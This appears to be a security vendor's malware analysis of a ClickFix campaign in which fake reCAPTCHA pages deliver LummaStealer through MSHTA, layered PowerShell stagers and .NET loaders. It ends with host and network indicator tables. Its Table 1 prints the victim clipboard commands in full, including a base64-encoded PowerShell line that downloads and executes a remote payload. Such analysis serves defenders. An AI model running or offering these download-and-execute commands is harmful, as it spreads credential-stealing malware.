One ClickFix and LummaStealer reCAPTCHA’s Our Attention - Part 1
Executive Summary
Throughout 2024, RevEng.AI has been actively monitoring LummaStealer as part of its mission to uncover and analyse emerging threats across the commodity malware landscape. In mid January 2025, we observed a LummaStealer campaign being distributed via ClickFix - in the form of fake reCAPTCHA pages. RevEng.AI has further examined and documented the delivery chain of LummaStealer in an effort to uncover whether the final payloads have also been subject to alterations in an effort by actors to aid the compromise of victim devices.
LummaStealer (a.k.a. Lumma, LummaC2 Stealer) is malware that focuses on extracting sensitive data like passwords and cryptocurrency wallets from infected systems, often delivered through phishing campaigns - first observed in 2022 and thought to likely be a fork of MarsStealer. Throughout 2024, RevEng.AI monitored the ClickFix delivery mechanism used to distribute LummaStealer, first identified by ProofPoint in May 2024 [1]. ClickFix uses deceptive tactics, including phishing and fake reCAPTCHA pages from an open-source repository [2], to trick users into running commands.
This report will detail the initial stages of a ClickFix delivery chain: ClickFix pages masquerading as Google reCAPTCHA; the MSHTA execution; several PowerShell stagers and in-turn a PE in the form of a .NET loader.
It Started with a Hash
During 2024 and into 2025, RevEng.AI acquired and identified a number of LummaStealer samples in an effort to continue its mission to support the reverse-engineering and malware analysis community.
In the latest sample (https://portal.reveng.ai/analyses/158599-8?analysis-id=146089), we have observed LummaStealer continue to alter its code base while maintaining its core malicious capabilities. While these changes may impact static rule-based approaches to identifying these malicious payloads such as YARA, the RevEng.AI Binary Analysis platform automatically matched functions from variants of this malware based on our AI models' semantic understanding of the underlying machine code. This approach, in turn, means that constant human maintenance of a YARA rule is not required and we can build AI rules for detecting malware families and their variants.
As such, observation of an alternate delivery mechanism prompted further investigation and analysts were able to quickly identify differences between previous samples using the function diff view.
In the remainder of this post, we detail the stages needed unpack and examine this latest threat.
Stage 1 - ClickFix Delivery Page Masquerading as Google reCAPTCHA
Using a well-known captcha service likely leads the user to perceive the interaction as legitimate, building trust and reducing skepticism. By relying on a widely recognized service, attackers can exploit the user’s familiarity with the system, making them more likely to engage with the malicious site. The site then attempts to convince the victim to click a 'verify' or an ‘I’m not a robot’ button and also indicates that they need to manually paste the loaded payload into a run dialog box.
In most cases targeting Microsoft Windows observed by RevEng.AI, ClickFix attempts to lure unsuspecting victims into copying malicious commands to their clipboard and executing them via PowerShell or MSHTA, making it a simple yet highly effective way to propagate malware.
Upon initial analysis, RevEng.AI identified numerous parallel campaigns being conducted by an unknown threat actor that was consistent with the delivery chain detailed in this report. The base of the analysis for this ClickFix delivery-chain will be: https[:]//googlsearchings[.]online/you-have-to-pass-this-step-2[.]html.
The fake reCAPTCHA page mimics real behavior and uses JavaScript to load MSHTA (Figure 5) [3], copying a command to the victim's clipboard to download and execute a malicious payload via a Windows LOTL executable, bypassing security measures and increasing delivery success.
Figure 5 contains the malicious JavaScript content that was available on January 13, 2025, accessible via the URL https[:]//sharethewebs[.]click/riii2-b.accdb, which is hosted by Cloudflare (AS13335).
Although not the primary focus of this report, it is worth mentioning that some delivery chains were observed using Windows PowerShell scripts (Figure 6) [4] instead of the focus of this analysis, MSHTA. The command is encoded within the JavaScript in an attempt to evade detection, concealing the true intention of downloading and executing the next stage of the attack chain: https[:]//amazon-ny-gifts[.]com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem[.]txt.
Figure 6 contains the malicious JavaScript content that was available on January 21, 2025, accessible via the URLs https[:]//www[.]sis.houseforma[.]com[.]br and https[:]//horno-rafelet[.]es. This resulted in the loading of the PowerShell command shown in Table 1 to the victim's clipboard.
| Execution Type | Command | Decoded Content |
|---|---|---|
| MSHTA | mshta https[:]//sharethewebs[.]click/riii2-b[.]accdb | N/A |
| PowerShell | POWerShEll -W h "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1hem9uLW55LWdpZnRzLmNvbS9zaGVsbHNhanNoZGFzZC9mdHBha3NqZGthc2Rqa3huY2t6eG4veXdPVmtrZW0udHh0JyAtVXNlQmFzaWNQYXJzaW5nKS5Db250ZW50')) | iex" | iex (iwr 'https[:]//amazon-ny-gifts[.]com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem[.]txt' -UseBasicParsing).Content |
Table 1. ClickFix MSHTA and PowerShell Execution Examples.
Stage 2 - ACCDB Content Executed By MSHTA
Following the URL retrieved from the MSTHA argument in the previous stage, you will encounter a file with a size of 954,627 bytes (932.25 KB) and a SHA-256 hash of 179e242265226557187b41ff81b7d4eebbe0d5fe5ff4d6a9cfffe32c83934a46. The initial bytes correspond to an obfuscated payload, followed by some junk bytes that represent an ISO file, likely designed to mislead anti-virus scanning solutions.
To effectively proceed and comprehend the next stage, the initial large string must be deobfuscated by extracting every 2nd character and skipping the next, continuing this pattern until the end of the ASCII string.
This transformation can be accomplished using a regular expression combined with common data manipulation tools or a Python script, as demonstrated in the example provided in Figure 8.
Stage 3 - Resulting JavaScript Content
Stage 3 contains JavaScript, with the approach for deobfuscation similar to the previous stage (Stage 2). The content present in unCR requires to be isolated (variable names and size may vary in other campaigns, (SHA-256: f8cfc73614c279e143b97a0073048925ce8b224ee7ecc03e396d015151147693). Deobfuscation of this script results in the obfuscated JavaScript code in Figure 9.
Figure 10 presents a Python script that reimplements the deobfuscation routine used by the JavaScript code. In this routine, a variable holds the encoded data to be processed. A for loop iterates through this data, subtracting a specified number from each integer value, converting the resulting value into its corresponding character, and appending it to a final variable. This final variable ultimately holds the plaintext value required for the next step.
Stage 4 - Base64-encoded PowerShell Content
The -Enc parameter in the Windows PowerShell command (SHA-256: bea8b8deafad49b4760f6caa17aa8a9bd05786a57a9b6758c7c5d4342df3ebbc) clearly indicates the usage of base64.
After the base64-decoding is complete, it results in a PowerShell script with the SHA-256 hash of 61a2424a8442751d9b9da3ff11cb82c5d2ba07a93ee66379db02d4a5cb24a67e. The obfuscated PowerShell script results in further obfuscated PowerShell, containing variables with very long names - a further barrier employed by the threat actor to increase the difficulty of analysing the malicious code.
Further deobfuscation through variable renaming, and basic formatting, reveals the true intent of the code in Figure 13.
Taking a closer look, unlike the previous stage, there is also a decompress using LZ77 on top of base64-encoded content. You can write your script to do that or use a data manipulation suite such as CyberChef.
As shown in Figure 14 (SHA-256: 3739d6cc6eb06121e504eadffecf71568ddcedb98ee6bbbb75bd4b0244b4aec8), after decoding the payload, further obfuscated PowerShell is revealed.
Stage 5 - Base64-Decoded, Decompressed PowerShell Content
Stage 5 focuses on downloading and executing the next stage of the delivery chain, allowing us to proceed further by reaching another payload at https[:]//h3.errantrefrainundocked[.]shop/riii2[.]aspx.
Even though the URL points to what appears to be an aspx file with the size of 9636902 bytes (9.19MB) (SHA-256: 6291ca6b9cf44bb7da8a2740cdf95aacb6eb1b2de32eece3073619a223970d 5e), the reality is that this file is actually a Windows PowerShell script. By doing so, the malware employs a technique aimed at bypassing solutions that are intended to block and filter the download of files with the correct PowerShell extension.
However, to complicate the reverse engineering process, evade signatures and hinder detection by security tools, this script is significantly larger than the one from the previous stage, utilizing obfuscation techniques to increase stealth and delay analysis.
To achieve a better understanding of the obfuscated content, the same approach used in Stage 4 can be used here, in : simply renaming the variables.
After further analysis, it is observed that even post-renaming, it appears the code does not achieve anything noteworthy. However, upon closer inspection, some key findings detailed below were observed by RevEng.AI.
- A large variable containing the encoded content that will lead to the next step in the chain (Figure 16).
- The function responsible for decode the variable containing the next stage.
- The seemingly useless code is not so useless after all; some of it consists of mathematical operations that will ultimately form characters for a script to be used later in the code.
| Color | Variable | Resulting Value |
|---|---|---|
| Green | $HAUEqpTl | 0 |
| Yellow | $RTqpgTcb | 0 |
| Blue | $rPLyMMsrI | 955 |
| Purple | $ltNlKCeAMFshR | 0 |
| Orange | $eTFxuXIA | 0 |
Table 2: Variables and their real values after processing.
Analyzing $tkMcVgT, the variable shown in Figure 18, all the variables inside it will be 0, except for $rPLyMMsrI, which will be 955. By adding these values to the equation in $tkMcVgT, you will obtain 82. This value will then be used to derive the corresponding ASCII character, which will be the character ‘R’.
This approach to building strings enables effective obfuscation of core elements and large code sections. This can be particularly useful for stealthy lines, like the one in Figure 19, which targets the disabling of PowerShell's Antimalware Scan Interface (AMSI) protection.
Since the main goal is to reach the next step, which can be achieved in several ways: extracting the XOR key and creating a script to handle it, or even modifying the script to print the value returned by that function. Delete everything after the function definition, then add $data = fdsjnh; Write-Output $data; which will do exactly that, print the decoded content as needed.
Stage 6 - Deobfuscated Powershell
The next stage consists primarily of additional PowerShell script (SHA-256: 58b27398e324149925adfbab4daae1156e02fd3d8be8fb019bcdfa16881a76fe). However, it is not obfuscated and is much more straightforward. The goal is to take the variable $a, decode it from Base64 (SHA 256: 3d3e71be5f32b00c207e872443d5cdf19d3889f206b7d760e97f5adb42af96fb), and load it as an .NET assembly using Invoke.
Stage 7 - Obfuscated .NET Stager
Upon analyzing the first Portable Executable file (SHA-256: 3d3e71be5f32b00c207e872443d5cdf19d3889f206b7d760e97f5adb42af96fb) with a size of 1,337,856 bytes (1.28MB), you’ll come across an obfuscated .NET file. Despite the obfuscation, a closer look at the end of the main function reveals the primary objective: loading a DLL.
Stage 8 - Reactor Obfuscated .NET DLL
This DLL (SHA-256: f279ecf1bc5c1fae32b847589fe3ae721016bde10f87a38a45052defcf2a1c74) has a file size of 1,185,280 bytes (1.13MB) and is also obfuscated, this time using .NET Reactor, which adds an additional layer of complexity, but can also be supported by several tools that properly handle Reactor’s approach. It includes several anti-analysis mechanisms, such as checks for debuggers, common sandbox DLLs, and environment variables, designed to prevent detection in controlled environments. Furthermore, it establishes a connection to the command-and-control server and ensures the loading of LummaStealer.
Conclusion
In summary, the process involves analyzing each stage of the chain, from decoding Base64-encoded payloads to handling PowerShell scripts. While some stages are obfuscated, others are more straightforward, allowing us to directly manipulate variables for further decoding. By following this methodical approach, you are able to decode the content, load it as assembly, and progressively advance through the stages. This systematic breakdown is essential for understanding the underlying mechanics of the chain and ultimately reaching the final objective.
In the next part of this series, we will explore how the Lumma malware continues to be loaded within the chain, as well as how RevEng.AI can assist in both the analysis and identification of the given samples.
Host IOCs
| IOC | Description |
|---|---|
| 2b4ea59a346f5762e0e5731e0e736b08607e652424f49398ca4dfe593187565c | Content from a file used in another campaign, in Stage 2 (encoded Javascript downloaded by PowerShell), represented by its SHA-256 hash. |
| 61073b8eb7ed1a88cc86d62b86ec787b9213a802267d57f2812435f869095d5c | Content from a file used in another campaign, in Stage 3 (decoded JavaScript code), represented by its SHA-256 hash. |
| 20ed57745daf232cd3e136026bc5a8e73fdeac5f3d72fc7edad7747fc77e17e6 | Content from a file used in another campaign, in Stage 4 (encoded PowerShell script used to download the next step), represented by its SHA-256 hash. |
| 9cf251dfc34e6190eca9d114d30c1b34e03684a44b02ea384cb9e9270848c91b | Content of the file in Stage 1 (HTML of the fake reCAPTCHA page) in a SHA-256 hash. |
| 179e242265226557187b41ff81b7d4eebbe0d5fe5ff4d6a9cfffe32c83934a46 | Content from a file used in the targeted campaign, in Stage 2 (encoded JavaScript executed by MSHTA), represented by its SHA-256 hash. |
| f8cfc73614c279e143b97a0073048925ce8b224ee7ecc03e396d015151147693 | Content from a file used in the targeted campaign, in Stage 3 (decoded JavaScript code), represented by its SHA-256 hash. |
| bea8b8deafad49b4760f6caa17aa8a9bd05786a57a9b6758c7c5d4342df3ebbc | Content from a file used in the targeted campaign, in Stage 4 (encoded PowerShell script used to download the next step), represented by its SHA-256 hash. |
| 61a2424a8442751d9b9da3ff11cb82c5d2ba07a93ee66379db02d4a5cb24a67e | Content of decoded PowerShell script in Stage 4 (used to load more encoded PowerShell), represented by its SHA-256 hash |
| 3739d6cc6eb06121e504eadffecf71568ddcedb98ee6bbbb75bd4b0244b4aec8 | Content of decoded PowerShell script in Stage 5 (used to download a file), represented by its SHA-256 hash |
| 6291ca6b9cf44bb7da8a2740cdf95aacb6eb1b2de32eece3073619a223970d5e | Content from a file used in Stage 5 (downloaded PowerShell script), represented by its SHA-256 hash. |
| 58b27398e324149925adfbab4daae1156e02fd3d8be8fb019bcdfa16881a76fe | Content from a file used in Stage 6 (decoded PowerShell command that loads Stage 7 PE file), represented by its SHA-256 hash. |
| 3d3e71be5f32b00c207e872443d5cdf19d3889f206b7d760e97f5adb42af96fb | Content from a file used in Stage 7 (.NET exe file that loads Stage’s 8 .NET DLL file), represented by its SHA-256 hash. |
| f279ecf1bc5c1fae32b847589fe3ae721016bde10f87a38a45052defcf2a1c74 | Content from a file used in Stage 8 (.NET DLL loaded), represented by its SHA-256 hash. |
Table 3: Host IOCs.
Network IOCs
| IOC | Description |
|---|---|
| bekind[.]ae | Domain hosting content masquerading as Google reCAPTCHA. |
| googlsearchings[.]online | Domain hosting content masquerading as Google reCAPTCHA. |
| googlsearchings[.]online/you-have-to-pass-this-step-2.html | URL of phishing website with fake reCAPTCHA. |
| googlsearchings[.]online/riii2-b[.]accdb | URL of phishing website with fake reCAPTCHA. |
| sharethewebs[.]click | Domain hosting content masquerading as Google reCAPTCHA. |
| sharethewebs[.]click/riii2-b[.]accdb | Encoded, malicious JavaScript content executed by MSHTA. |
| amazon-ny-gifts[.]com | Domain hosting content masquerading as Google reCAPTCHA. |
| amazon-ny-gifts[.]com/shellsajshdasd/ftpaksjdkasdjkxnckzxn/ywOVkkem[.]txt | Encoded, malicious JavaScript content executed by PowerShell. |
| www[.]sis.houseforma[.]com[.]br | Domain hosting content masquerading as Google reCAPTCHA. |
| horno-rafelet[.]es | Domain hosting content masquerading as Google reCAPTCHA. |
| amazon-ny-gifts[.]com | Domain hosting content masquerading as Google reCAPTCHA. |
| h3.errantreinundocked[.]shop | Domain hosting content masquerading as Google reCAPTCHA. |
| u1.jumpcelibateencounter[.]shop | Domain hosting content masquerading as Google reCAPTCHA. |
Table 4: Network IOCs.
Footnotes
[1] As detailed in industry reporting, ClickFix has been used to deliver Latrodecus, NetSupportRAT, XWorm & BruteRatel C4 since at least March - https://www.proofpoint.com/uk/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape
[2] John Hammond, recaptcha-phish - https://github.com/JohnHammond/recaptcha-phish
[3] MITRE, System Binary Proxy Execution: Mshta - https://attack.mitre.org/techniques/T1218/005/
[4] MITRE, Command and Scripting Interpreter: PowerShell - https://attack.mitre.org/techniques/T1059/001/
[5] MITRE, Command and Scripting Interpreter: JavaScript -